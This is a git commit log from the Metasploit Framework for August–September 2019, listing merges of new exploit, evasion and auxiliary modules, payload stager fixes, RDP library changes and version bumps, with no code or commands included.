James Lee fc69bfcc6c Merge branch 'h00die-egypt_resolve_hosts' into resolve_hosts_save_names 2019-09-18 16:49:56 -05:00
Metasploit ce8e85d573 automatic module_metadata_base.json update 2019-09-18 15:08:40 -05:00
Adam Cammack a8da66e6ee Land #12343, Fix ps1 and powershell transform 2019-09-18 14:59:25 -05:00
Adam Cammack 2716687f0d Bump rex-text to 0.2.24 2019-09-18 14:58:21 -05:00
James Lee 440c82b3e2 Fix broken ps1 and powershell transform 2019-09-18 12:20:16 -05:00
hkerma 98c9654d19 created a 'docs' directory in /tools. Added a tool to find missing documentations and/or modules 2019-09-18 16:09:53 +02:00
sinn3r a386b2d503 Land #12176 - Add evasion module applocker_evasion_regasm_regsvcs
Add evasion module applocker_evasion_regasm_regsvcs
2019-09-17 10:20:56 -05:00
Metasploit 18f21bb3a7 Bump version of framework to 5.0.49 2019-09-16 09:21:03 -05:00
Tim W 4d9780f070 Land #12239, fix search path separator 2019-09-13 17:08:57 +08:00
Jay Turla b879a888f8 Indent everything in super to 2 spaces 2019-09-13 09:32:21 +08:00
Clément Notin d85297c556 jboss_vulnscan: report the URL ("app") concerned by message 2019-09-13 01:04:28 +02:00
Metasploit de1bf2e715 automatic module_metadata_base.json update 2019-09-12 17:49:21 -05:00
Wei Chen 97fbfa3a9f Land #12154, Add evasion module applocker_evasion_presentationhost 2019-09-12 17:41:01 -05:00
todb-r7 a9a2ce2f6a Add correct CVE for shopware module
In PR #11828, the module author requested, and got, a new CVE for this
issue. The module should reflect that.
2019-09-12 16:09:32 -05:00
Clément Notin b8a393ea89 jboss_vulnscan: prefix fingerprint by 'fingerprint: ' 2019-09-12 22:57:57 +02:00
Metasploit f48a065d6d Bump version of framework to 5.0.48 2019-09-12 12:05:18 -05:00
Jay Turla 6771dd4c16 Update mazda_ic_mover.md 2019-09-13 00:11:38 +08:00
Pearce Barry 580f4f93bc Land #12308, move bigdecimal fix to separate file
include for specs
2019-09-12 09:32:08 -05:00
Metasploit c62cb1691c automatic module_metadata_base.json update 2019-09-12 07:55:14 -05:00
Shelby Pace e21b25b20f Land #12302, add zip slip exploit 2019-09-12 07:45:51 -05:00
Shelby Pace 644988750e change permission on payload 2019-09-12 07:43:54 -05:00
Jay Turla f0ca2fb2e5 Create a documentation for mazda_ic_mover module 2019-09-12 17:40:23 +08:00
Jay Turla 5fa9c5e21a Update mazda_ic_mover.rb
Changed ```0x10``` to ```0x01```
2019-09-12 12:49:45 +08:00
Metasploit 469f848b22 automatic module_metadata_base.json update 2019-09-11 16:06:43 -05:00
Shelby Pace 408d01cef4 Land #12276, add OpenEMR auxiliary module 2019-09-11 15:58:01 -05:00
Shelby Pace 8bfdaf6ab7 change metadata indentation 2019-09-11 15:56:46 -05:00
Brent Cook 3a4887cb3a Land #12315, update code climate banners 2019-09-11 13:37:31 -05:00
Clément Notin 88bdb981ad jboss_vulnscan: prefix fingerprint by 'rhost' and 'rport' 2019-09-11 19:54:32 +02:00
Jeffrey Martin c088ec9ee8 update code climate banners 2019-09-11 12:48:57 -05:00
Clément Notin 2ccfbbe8f8 RHOSTS: fix syntax in doc examples 2019-09-11 19:22:37 +02:00
Clément Notin ecb5eec969 RHOSTS: test for accept both "file://<path>" and "file:<path>" syntax 2019-09-11 19:04:53 +02:00
Metasploit c2790d44f6 automatic module_metadata_base.json update 2019-09-11 11:54:31 -05:00
sinn3r cfeaca6de8 Land #12310, Add CVE info for jboss_vulnscan and jboss_status
jboss_vulnscan and jboss_status: add CVE information
2019-09-11 11:47:05 -05:00
Clément Notin 911d3c41cd RHOSTS: accept both "file://<path>" and "file:<path>" syntax 2019-09-11 18:45:59 +02:00
Jay Turla b3240a1819 Add mazda_ic_mover module that moves the instrument cluster
This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster
2019-09-12 00:07:42 +08:00
Will Porter 3ed9fb0383 Fix a bug caused by writing python code in a ruby file. 2019-09-11 15:39:15 +00:00
Metasploit 3483881b19 automatic module_metadata_base.json update 2019-09-11 10:36:39 -05:00
Wei Chen a63357c460 Land #12177, Add evasion module applocker_evasion_workflow_compiler 2019-09-11 10:28:16 -05:00
Clément Notin b460dc113d jboss_vulnscan & status: add CVE ref 2019-09-11 14:05:21 +02:00
William Porter 11021e3bc1 Update the documentation to reflect recent changes. 2019-09-10 21:53:06 -04:00
William Porter 262e574fe2 Add the .csv extension to the loot file. 2019-09-10 21:32:03 -04:00
William Porter 7a8eb76a12 Use the same gsub pattern to create the ltype as is used by store_loot to sanitize characters. 2019-09-10 21:14:15 -04:00
Brent Cook e4992c6817 move bigdecimal fix to separate file, include for specs
This fixes some noisy warnings about bignum when running specs, making it easier to see the real problems.
2019-09-10 18:40:14 -05:00
bwatters-r7 6703e9b06b Land #11984, add meterpreter keyevent api for virtual key strokes
Merge branch 'land-11984' into upstream-master
2019-09-10 14:32:43 -05:00
Wei Chen 8fe1f9d172 Rephrase 2019-09-10 12:12:46 -05:00
William Porter 832d2e4300 Remove unneccesary comment. 2019-09-10 12:29:55 -04:00
Will Porter 3fc0467484 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Remove unused path variable.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:48 -04:00
Will Porter f1f9597222 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Use `normalize_uri` to construct the vulnerable URI.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:22 -04:00
Metasploit e66179a0e7 automatic module_metadata_base.json update 2019-09-10 11:24:33 -05:00
bwatters-r7 ee660d61ea Land #12275, Update payloads to 1.3.77
Merge branch 'land-12275' into upstream-master
2019-09-10 11:14:56 -05:00
Brent Cook 73eab2c34a Land #12286, RDP lib: lower SSL security level for compatibility with older implementations 2019-09-09 23:11:15 -05:00
Brent Cook 902ff4f573 Land #12301, fix a few issues using/building Docker images 2019-09-09 23:04:10 -05:00
Brent Cook f24c689d84 fix compatibility with --chown flag with COPY 2019-09-09 23:02:26 -05:00
Brent Cook d874f1899d update lock for unpinned gem 2019-09-09 22:52:54 -05:00
Wei Chen 2cd8125a40 Add zip skip 2019-09-09 12:00:53 -05:00
Wei Chen 5e65685167 Update documentation for zip slip 2019-09-09 12:00:05 -05:00
Matúš Bursa 9297809b41 fix permissions bug Gemfile.lock
There was an error while trying to write to /usr/src/metasploit-framework/Gemfile.lock. It is likely that you need to grant write permissions for that path.
2019-09-09 12:59:19 +02:00
Metasploit 0cbfaccc7d automatic module_metadata_base.json update 2019-09-08 00:09:39 -05:00
Brendan Coles aaad280e13 Land #12294, Fix References Array for bypassuac modules 2019-09-08 05:04:03 +00:00
AZSG a990191f99 Update modbusclient.rb 2019-09-07 23:54:43 -05:00
h00die 054a092eb2 fix references in bypassuac modules 2019-09-08 00:42:21 -04:00
h00die 78c4bfee95 add url for fodhelper 2019-09-08 00:33:16 -04:00
h00die f60e8a3dbd less indents 2019-09-08 00:11:11 -04:00
h00die ce5f8d8d2f add datastore option 2019-09-08 00:06:49 -04:00
h00die d6cfe021dc Land #12291 log errors on payload loading issues 2019-09-07 23:55:39 -04:00
h00die d25d8e77b8 12291 sempervictus words 2019-09-07 23:54:19 -04:00
Clément Notin 579ea56f3b RDP_TLS_SECURITY_LEVEL default value is 0 (less secure) 2019-09-07 18:39:59 +02:00
Clément Notin 49a991891c Add RDP_TLS_SECURITY_LEVEL advanced option 2019-09-07 17:19:59 +02:00
Brent Cook a985da9318 expand scope of errors caught to include all StandardErrors 2019-09-07 07:38:37 -04:00
Brent Cook 1d91e7f53c make payload generation failures at boot time non-fatal
Currently, if any payload fails to generate that has a dynamic size, it causes a Framework instance to throw an exception on start. This can happen for a number of reasons, and more often than not it is enviromental (files missing, Y2k38 bugs, etc.). Instead of failing entirely, catch the exception and log as an error, don't register the payload, but continue booting.
2019-09-07 07:21:40 -04:00
gkweb76 795e0ebeb5 Restore a "print" to "print_good"
Aesthetics modification
2019-09-07 09:02:04 +02:00
AZSG edcddf2736 Update modbusclient.rb 2019-09-06 22:40:31 -05:00
Clément Notin d4e2ac696a RDP lib: lower SSL security level for compatibility with stock Win7 2019-09-07 01:17:22 +02:00
Metasploit 9a6830c0ad automatic module_metadata_base.json update 2019-09-06 12:10:24 -05:00
bwatters-r7 25b56c410d Land #12189, Add module for LibreNMS CVE-2019-10669
Merge branch 'land-12189' into upstream-master
2019-09-06 12:01:09 -05:00
Metasploit 2ec2ecb969 automatic module_metadata_base.json update 2019-09-06 10:22:57 -05:00
Shelby Pace c4bd91f505 Land #12272, add October CMS file upload 2019-09-06 10:13:33 -05:00
Shelby Pace b0625012c4 add vulnerable software version 2019-09-06 10:12:08 -05:00
Shelby Pace 5f7c243b48 add filedropper, fix check, add to docs 2019-09-06 09:49:09 -05:00
Metasploit 788e3b4363 automatic module_metadata_base.json update 2019-09-06 09:33:59 -05:00
bwatters-r7 17acaf9720 Land #12226, fix #11574, add WSReset.exe UAC Bypass
Merge branch 'land-12226' into upstream-master
2019-09-06 09:19:24 -05:00
Touhid M Shaikh aaebec01a4 Update References
Added CVE and Blog link
2019-09-06 18:26:28 +05:30
bwatters-r7 e2815a997b Land #12251, Unify SSL cert generate interfaces
Merge branch 'land-12251' into upstream-master
2019-09-05 16:45:31 -05:00
gkweb76 a2d2475618 Fixed wrong previous commit 2019-09-05 22:12:33 +02:00
gkweb76 88d424cf3f Make the modification suggested by @acammack-r7
Directly insert the new value in the "table", instead of modifying the screen output manually. Simpler and cleaner, thanks @acammack-r7 !
2019-09-05 21:44:18 +02:00
Metasploit 22182d5c8d automatic module_metadata_base.json update 2019-09-05 13:25:28 -05:00
Touhid M Shaikh cf4c10783a Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:50:18 +05:30
Touhid M Shaikh 4b416bf530 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:43 +05:30
Touhid M Shaikh a7e205e252 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:32 +05:30
Touhid M Shaikh 0e4e7dd9d9 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:22 +05:30
Touhid M Shaikh bc1610ec46 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:14 +05:30
Tim W 9f03db4582 Land #12280, add WSReset.exe UAC bypass via registry 2019-09-06 02:14:54 +08:00
Tim W 1a717a5624 minor fixes 2019-09-06 02:11:06 +08:00
Metasploit ea6ab34c32 Bump version of framework to 5.0.47 2019-09-05 12:13:53 -05:00
bwatters-r7 20216ac81a Fix documentation to new module name 2019-09-05 12:08:12 -05:00
Tim W 5123fdbb5e s/pkexec_helper_ptrace/ptrace_traceme_pkexec_helper/g 2019-09-06 01:00:44 +08:00
bwatters-r7 a1f39e519f Move documentation 2019-09-05 11:57:51 -05:00
bwatters-r7 4e5e29fb52 Update documentation 2019-09-05 11:56:32 -05:00
Tim W cc9d9bb483 s/bypassuac_windows_store/bypassuac_windows_store_filesys/g 2019-09-06 00:52:13 +08:00
bwatters-r7 481c13ea0f Rubocop changes 2019-09-05 11:44:00 -05:00
bwatters-r7 cf3f6c90f8 Renamed file to make room for the other UAC bypass targeting the same exe 2019-09-05 11:35:10 -05:00
bwatters-r7 b876afa20f Fixed up the code before pushing it. 2019-09-05 11:33:05 -05:00
Metasploit 56b0d57548 automatic module_metadata_base.json update 2019-09-05 11:28:50 -05:00
Adam Cammack 598cf35e1e Land #12271, Don't mangle staged x86, x64 payloads 2019-09-05 11:18:45 -05:00
James Lee 56d81052e8 Save the data we just collected
Instead of just throwing it away after printing.
2019-09-05 09:47:04 -05:00
bwatters-r7 9281c0de12 Add some missing pieces to the UAC pypass? 2019-09-04 17:03:32 -05:00
Adam Cammack 2ee5ec97e4 Use smallest stager size
Since these stagers can shrink based on the expected size of the next
stage, do our best to anticipate a small size. This makes the cached
payload size consistent for now, though if the x64 mettle stager grows
past 128 bytes I think we'll see the stager start oscillating in size
again. If you run into that and are reading this, sorry :(
2019-09-04 16:06:44 -05:00
Adam Cammack 4d89dd83e3 Update payload cached size
For real this time?
2019-09-04 15:17:34 -05:00
Adam Cammack de554b315a Update cached size 2019-09-04 14:56:12 -05:00
Adam Cammack bb0f1b02ac Fully golf the x86 read size 2019-09-04 14:54:48 -05:00
Will Porter 106913f631 Correct csv string. 2019-09-04 17:43:34 +00:00
Touhid M Shaikh b9e702458d Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 23:01:44 +05:30
Metasploit ccd6895365 automatic module_metadata_base.json update 2019-09-04 12:16:18 -05:00
William Porter 2cd93cc097 Update documentation and actually save loot as csv file. 2019-09-04 13:08:49 -04:00
Shelby Pace 490800f834 Land #11643, add Awind SNMP RCE 2019-09-04 12:06:36 -05:00
Shelby Pace 8dbb41ee5b remove extra line 2019-09-04 12:04:46 -05:00
Will Porter 1b9bb964b8 Adjust loot filename. 2019-09-04 16:56:28 +00:00
William Porter 0ee3324535 Use store_loot properly, check response.nil? before consuming body. 2019-09-04 12:21:59 -04:00
William Porter 50f5d80328 Fix code highlighting in documentation description. 2019-09-04 11:09:05 -04:00
Will Porter c433cd4007 Remove erroneous ? from URI path. 2019-09-04 15:04:56 +00:00
Will Porter 74647c314a Use Rex::Text.rand_text_alphanumeric and remove gsub as a weak excuse for encoding. 2019-09-04 07:53:36 +00:00
Touhid M Shaikh 71c1c07b0d fixed
fix EOF on 88 line
2019-09-04 13:08:26 +05:30
William Porter 5963bbd6f9 Remove broken include. 2019-09-04 03:30:13 -04:00
William Porter d0803e49be Make changes as suggested in the pull request reviews. 2019-09-04 03:18:58 -04:00
Touhid M Shaikh aeaf4232fe updated
typo, comments and check fixed
2019-09-04 12:46:31 +05:30
Touhid M Shaikh 5e63c83257 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:37:21 +05:30
Touhid M Shaikh 9179ce1de1 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:23 +05:30
Touhid M Shaikh 90b639da71 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:15 +05:30
Touhid M Shaikh 974f078114 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:29:32 +05:30
Touhid M Shaikh bb8b3245a3 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:59 +05:30
Touhid M Shaikh f0eb7da43b Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:51 +05:30
Touhid M Shaikh 7359e4bdd6 fixes suggested by @space-r7
fixed check before passing to the accessor, removed res which is not used.
2019-09-04 12:20:39 +05:30
RageLtMan 04e750024c Clean up linux/x86/rev_tcp asm per acammack
Push read_size to edx as suggested by Adam, optimize shellcode a
bit by selecting using dx instead of edx for sizes under 64K.

Testing:
  Internal only, creates session on every try instead of every 5th.
2019-09-04 01:51:54 -04:00
William Porter 2b97522b69 Fix the CVE format based on failed tests. 2019-09-04 01:36:20 -04:00
William Porter 80aee24d65 Add an auxiliary module to exploit OpenEMR CVE CVE-2018-17179.
Dump all tables in the OpenEMR database and save the data in .csv
format in the loot directory.
2019-09-04 01:18:54 -04:00
bwatters-r7 49c7fe8906 Update payload cache size 2019-09-03 18:25:26 -05:00
bwatters-r7 06a7267017 Bump payload version 2019-09-03 18:13:01 -05:00
Metasploit b1f58b4606 automatic module_metadata_base.json update 2019-09-03 14:26:02 -05:00
bwatters-r7 a520b62df3 Land #12273, Require msf/core/handler/bind_tcp
Merge branch 'land-12273' into upstream-master
2019-09-03 14:15:59 -05:00
RageLtMan 80522a5712 Clean up linux/x64/rev_tcp asm per acammack
Address Adam's comments on the PR - remove redundantly pushed
size from mmap section.
2019-09-03 15:01:52 -04:00
Touhid M Shaikh 6c6603bbd7 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:18:31 +05:30
Touhid M Shaikh aee17608cd Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:17:50 +05:30
Touhid M Shaikh 6934af0b7d Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:15:33 +05:30
Shelby Pace bcd181c87d require bind tcp 2019-09-03 09:14:34 -05:00
Clément Notin 72672c82f9 Fix syntax 2019-09-03 15:17:28 +02:00
Tim W ac9b4c137c add compile.rb 2019-09-03 18:46:13 +08:00
Tim W 415caafabe add docs 2019-09-03 17:54:15 +08:00
Tim W bade8bfc48 add live compiling 2019-09-03 17:31:04 +08:00
Touhid M Shaikh c9b0054629 october_upload_bypass_exec Doc
october_upload_bypass_exec Documetation
2019-09-03 12:26:41 +05:30
Touhid M Shaikh 615661a03d first build
first build of october_upload_bypass_exec
2019-09-03 12:04:38 +05:30
RageLtMan 97943261ed Linux x86 reverse_tcp should read known # of bytes
See notes for x64.

This part does not appear to be working properly yet - stages
generated with this commit recv 102b on the first call to read(),
but subsequently things seem to go off the rails after the
intermediate stage is loaded.

Needs testing and fixup at present for x86 (no worse than before
in terms of success rate however).
2019-09-03 01:55:12 -04:00
RageLtMan 05944ba8c1 Linux x64 reverse_tcp should read known # of bytes
The linux x64 reverse tcp stager is hardcoded to read 4K off the
socket. When a small intermediate stager is used, this can result
in reading part of the next stage as well, which means that the
intermediate stager will never recv the # of bytes it needs and
hang indefinitely.

Break out the mettle piece to use separate methods for assembly and
binary payload generation as well as actually putting the product
on the existing session socket.

Change the first part of the stage to check for the intermediate
stager generation method, and use the size of the produced stager
in the recvfrom call or fall back to the prior 4K read size.

Testing:
  None yet

Ping @bcook-r7, @acammack-r7, @OJ, @ZeroSteiner
2019-09-03 01:27:27 -04:00
gkweb76 13560e93c0 Improve ADSI GPO filter to return only one result 2019-09-02 20:15:00 +02:00
Metasploit 288bb56c7f automatic module_metadata_base.json update 2019-09-02 12:41:31 -05:00
h00die ea50149ba7 land #12212 linux LPE ktsuss exploit 2019-09-02 13:32:45 -04:00
h00die 4b9e748882 ktsuss misc fixes 2019-09-02 13:31:30 -04:00
Metasploit 86d6b34da8 automatic module_metadata_base.json update 2019-09-02 10:56:25 -05:00
h00die f1ec0da154 land #12263 fixing a bug in unattend 2019-09-02 11:22:57 -04:00
h00die 5b89c221f0 land #11799 linux local priv esc for cached sudo privs 2019-09-02 11:12:21 -04:00
Brendan Coles 3dc68cfaaa Fix #12262 2019-09-01 18:51:13 +00:00
Tim W cd13a83eb2 add arch check 2019-08-31 20:54:18 +08:00
gkweb76 71b825ee06 Update gpp.rb to display GPO name
GPO files on SYSVOL do only include the GPO GUID, not the GPO name defined by the administrator. This modification makes this gpp module make an ADSI query to retrieve all of the domain's GPOs, and compare their GUID. If one GUID matches, then we know the GPO name and we can display it. On a pentest, a client is much more interested by knowing the GPO name rather than the obscure GUID. The ADSI query relies on meterpreter "extapi" extension.
2019-08-31 12:37:49 +02:00
Metasploit ea14054c0d Bump version of framework to 5.0.46 2019-08-30 16:09:29 -05:00
Jeffrey Martin 40da748cd8 Land #12254, realname calls in the cache to fullname 2019-08-30 16:02:13 -05:00
Adam Cammack b98327472a Correct realname calls in the cache to fullname 2019-08-30 15:38:45 -05:00
Metasploit 378b685478 Bump version of framework to 5.0.45 2019-08-30 14:15:42 -05:00
Adam Cammack 40169c8d42 Update to fixed rex-socket
Pulls in https://github.com/rapid7/rex-socket/pull/19
2019-08-30 14:02:57 -05:00
William Vu 6f58981396 Land #12244, cisco_ucs_scpuser exploit 2019-08-30 13:35:50 -05:00
William Vu 83de041894 Land #12243, cisco_ucs_rce exploit 2019-08-30 13:35:29 -05:00
William Vu 789c017135 Land #12059, cisco_dcnm_download aux module 2019-08-30 13:35:00 -05:00
William Vu 042c181f67 Land #12058, cisco_dcnm_upload_2019 exploit 2019-08-30 13:33:19 -05:00
Metasploit 89317ec87c automatic module_metadata_base.json update 2019-08-30 13:32:25 -05:00
William Vu a66fa7d79d Land #12133, CVE-2019-1663 RV{110,215}W targets 2019-08-30 13:23:00 -05:00
Pedro Ribeiro e36308e5bb Add FD ref 2019-08-31 00:18:46 +07:00
Pedro Ribeiro d422a2e4b1 add fd link 2019-08-31 00:18:20 +07:00
William Vu b0b72892be Deprecate/delete cisco_rv130_rmi_rce by alias 2019-08-30 12:03:43 -05:00
Metasploit 23e6c46ea9 automatic module_metadata_base.json update 2019-08-30 12:03:25 -05:00
William Vu 49b3af3870 Merge remote-tracking branch 'upstream/master' into pr/12133 2019-08-30 12:01:48 -05:00
Brent Cook c1be4a7ad3 Land #12252, update .mailmap 2019-08-30 11:52:22 -05:00
Brent Cook cc9a2a1668 update current employees 2019-08-30 11:50:56 -05:00
William Vu 2ea5e90764 Land #12223, module deprecation by alias 2019-08-30 11:36:50 -05:00
Adam Cammack 991639c493 Unify SSL cert generate interfaces
After this and rex-socket#19 the interfaces should be compatible again.
2019-08-30 00:01:55 -05:00
Metasploit c00ef799b4 Bump version of framework to 5.0.44 2019-08-29 12:11:39 -05:00
Pedro Ribeiro 139a4a490f Create cisco_ucs_scpuser.md 2019-08-29 22:58:24 +07:00
Pedro Ribeiro 1ae21a411f Create cisco_ucs_rce.md 2019-08-29 22:52:30 +07:00
Pedro Ribeiro 542c75d59e Create cisco_dcnm_download.md 2019-08-29 22:49:11 +07:00
Pedro Ribeiro 23d7a0ed2b Create cisco_dcnm_upload_2019.md 2019-08-29 22:45:03 +07:00
dwelch-r7 6afe0fc43b Add dwelch to mailmap 2019-08-29 16:43:10 +01:00
Pedro Ribeiro 0c1f3f2d03 make some adjustments 2019-08-29 19:50:01 +07:00
Pedro Ribeiro 40b0d02f39 make some adjustments 2019-08-29 19:49:37 +07:00
Pedro Ribeiro 3dd9c38fd1 Update cisco_dcnm_upload_2019.rb 2019-08-29 12:42:01 +07:00
Pedro Ribeiro bbbf426ec7 make requested changes 2019-08-29 12:16:58 +07:00
Pedro Ribeiro f9ddc1d18f Make more changes 2019-08-29 12:15:20 +07:00
Pedro Ribeiro bda1120cac make requested changes 2019-08-29 11:14:40 +07:00
Pedro Ribeiro b96d9c75ac make requested changes 2019-08-29 11:05:57 +07:00
Pedro Ribeiro c88ce55013 Add github link 2019-08-28 11:08:35 +07:00
Pedro Ribeiro 98efac5bfb Add github link 2019-08-28 11:08:01 +07:00
Pedro Ribeiro 7fd56f5fb3 Add Cisco UCS scpuser exploit 2019-08-28 11:00:08 +07:00
Pedro Ribeiro d6f47fd03a s/Directory/Director 2019-08-28 10:58:41 +07:00
Pedro Ribeiro 1aad95f7c4 Add exploit for Cisco UCS RCE 2019-08-28 10:55:49 +07:00
Pedro Ribeiro 804412f9d6 Merge pull request #10 from rapid7/master
AAAA
2019-08-28 10:54:05 +07:00
Clément Notin caafac3455 meterpreter, fs/file.rb: use client's separator instead of '\\' 2019-08-27 18:12:47 +02:00
Clément Notin f8b7100565 meterpreter UI, fs.rb: use client's separator instead of '\\' 2019-08-27 17:58:51 +02:00
Adam Cammack bcccfd86b8 Teach module cache about realname
Also uses the class refname where appropriate since an instances refname
reflects the alias currently in use and if a module is reloaded while
using an alias the old behavior would generate spurious cache entries
that would not be cleaned up or modified. Specifically, this could
register a self-referential alias that would cause a stack overflow when
trying to `use` such an alias.

Additionally, some other `fullname`s were changed to `realname`s for
clarity.
2019-08-26 13:26:48 -05:00
Dezzy ec81ee8f08 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:21:02 -05:00
Dezzy f796f55cea Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:44 -05:00
Dezzy e103194ec4 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:36 -05:00
Tim W 64695f1354 initial commit 2019-08-24 13:42:22 +08:00
Tim W ea3e2c1047 fix #11574, add WSReset UAC Bypass 2019-08-24 13:35:40 +08:00
Metasploit 9ea327ecdd automatic module_metadata_base.json update 2019-08-23 10:32:40 -07:00
Shelby Pace 413cd7194d Land #12064, add Exim Local Privesc module 2019-08-23 12:23:53 -05:00
Metasploit d551b88600 automatic module_metadata_base.json update 2019-08-23 07:06:06 -07:00
Jacob Robles e628fb4afa Land #12219, Add Webmin password_change.cgi backdoor exploit 2019-08-23 08:46:24 -05:00
Adam Cammack 6a8f6d7a57 Unify spec and lib 2019-08-22 18:03:13 -05:00
Adam Cammack 8aa00d97aa Add new moved_from to moved module 2019-08-22 17:58:20 -05:00
William Vu 901943c90f Move Ubiquiti AirOS exploit from SSH to HTTP 2019-08-22 17:58:20 -05:00
William Vu 67b427f277 Remove expired deprecated modules 2019-08-22 17:58:20 -05:00
Adam Cammack 948918dacb Use alias when reloading aliased module
Also speeds up module reloads by avoiding module instance creating
without a type.

Fixes #12026
2019-08-22 17:58:20 -05:00
Adam Cammack d8e8a33b46 Rewrite Msf::Module::Deprecated w/ alerts, aliases
Less janky, and allows module moves without copying!
2019-08-22 17:58:20 -05:00
Adam Cammack 969ad7aa8a Add Msf::Module::Alert for alerting users 2019-08-22 17:58:20 -05:00
Metasploit 1c4d9cfff6 Bump version of framework to 5.0.43 2019-08-22 10:08:14 -07:00
Metasploit c000625815 automatic module_metadata_base.json update 2019-08-21 15:58:25 -07:00
William Vu dff2aed1ac Simplify request by combining POST parameters
There's no need to discriminate between versions. Send 'em all.
2019-08-21 17:50:48 -05:00
OJ 071626ed34 Land #12186 - Add RDP Fingerprinting 2019-08-22 08:44:08 +10:00
William Vu d56e7d47b5 Add "analysis" 2019-08-21 17:05:40 -05:00
William Vu 856bf22597 Add module doc 2019-08-21 16:56:23 -05:00
William Vu 6b8c0bc589 Simplify targets with automatic targeting 2019-08-21 16:41:41 -05:00
William Vu 3f4c0e972b Refactor check and support 1.900-1.920 targets 2019-08-21 16:16:56 -05:00
Dezzy dbcdfe8332 Create pulse_secure_file_disclosure.rb 2019-08-21 15:58:58 -05:00
William Vu 227ea6de3a Fix typo 2019-08-21 15:41:45 -05:00
William Vu 55b5e6a616 Drop =~ habit 2019-08-21 11:55:03 -05:00
William Vu a6d7011efa Adjust check 2019-08-21 11:42:49 -05:00
Dezzy d1a510234f Delete pulse_secure_file_disclosure.rb 2019-08-21 11:35:35 -05:00
William Vu 5de2b37110 Add diff3 output between 1.{890,930,920} 2019-08-21 11:17:12 -05:00
Brent Cook cb66828b78 Land #12221, Fix RPC console.create database active check 2019-08-21 09:02:51 -05:00
Matthew Kienow 776c7268f5 Fix database active check 2019-08-21 09:35:15 -04:00
Dezzy 88107648cd Update pulse_secure_file_disclosure.rb 2019-08-21 07:57:15 -05:00
Dezzy 88a941cbd6 Create pulse_secure_file_disclosure.rb 2019-08-21 07:42:43 -05:00
William Vu c6f8dedf45 Add more words and an additional reference 2019-08-21 02:26:17 -05:00
William Vu 41d4dafdca Add Webmin password_change.cgi backdoor exploit 2019-08-21 02:02:26 -05:00
Brent Cook 931607826a Land #12218, explicitly require factory_bot in spec helper 2019-08-20 07:52:18 -05:00
Brent Cook 40d11b2fdd explicitly require factory_bot, see #12181 2019-08-20 06:54:34 -05:00
Brent Cook 262cd89859 Land #12168, fix HTTP client redirects with SSL enabled 2019-08-20 04:03:37 -05:00
Brent Cook bd90241192 set opts['SSL'] above for consistency 2019-08-20 04:03:10 -05:00
Brent Cook d1b482366b Land #12181, add Juniper config parser tests 2019-08-20 03:48:16 -05:00
Brent Cook 95e69930a1 Land #12214, enable TLS1.0 support for RDP lib 2019-08-20 03:36:19 -05:00
Metasploit d1b939990b automatic module_metadata_base.json update 2019-08-19 11:44:59 -07:00
Shelby Pace bc6cff3d4f Land #12207, add LibreOffice/Logo file fmt exploit 2019-08-19 13:14:23 -05:00
Shelby Pace 8fd5c1e0c1 remove PrependMigrate option 2019-08-19 13:12:54 -05:00
Clément Notin 40b74211c9 RDP lib: accept TLS 1.0 2019-08-19 19:48:25 +02:00
Brendan Coles 9ce3365d56 Add documentation 2019-08-19 13:34:52 +00:00
Brendan Coles ca82e6cd25 Add ktsuss suid Privilege Escalation module 2019-08-19 13:28:02 +00:00
Load dc07b78dcd @LoadLow Marks the generated ODT file readonly 2019-08-18 18:36:31 +02:00
Load 9b1a3b4033 Marks the generated ODT file readonly
Prevents autosave and further modifications after opening the document on the target system.
2019-08-18 17:59:25 +02:00
Load e6b72b5b43 Cleanup odt metadata
Metadata part is not mandatory on ODT files
2019-08-18 17:51:36 +02:00
Load 6b4acbc3ac Updates scenarios 2019-08-18 15:14:37 +02:00
Load b0a531982e Adds default options
- Changes target to Automatic
- Set default options instead of default target for options
- Adds links for the two vulnerabilities exploited by this module
- Removes unnecessary double encoding+eval
2019-08-18 14:42:48 +02:00
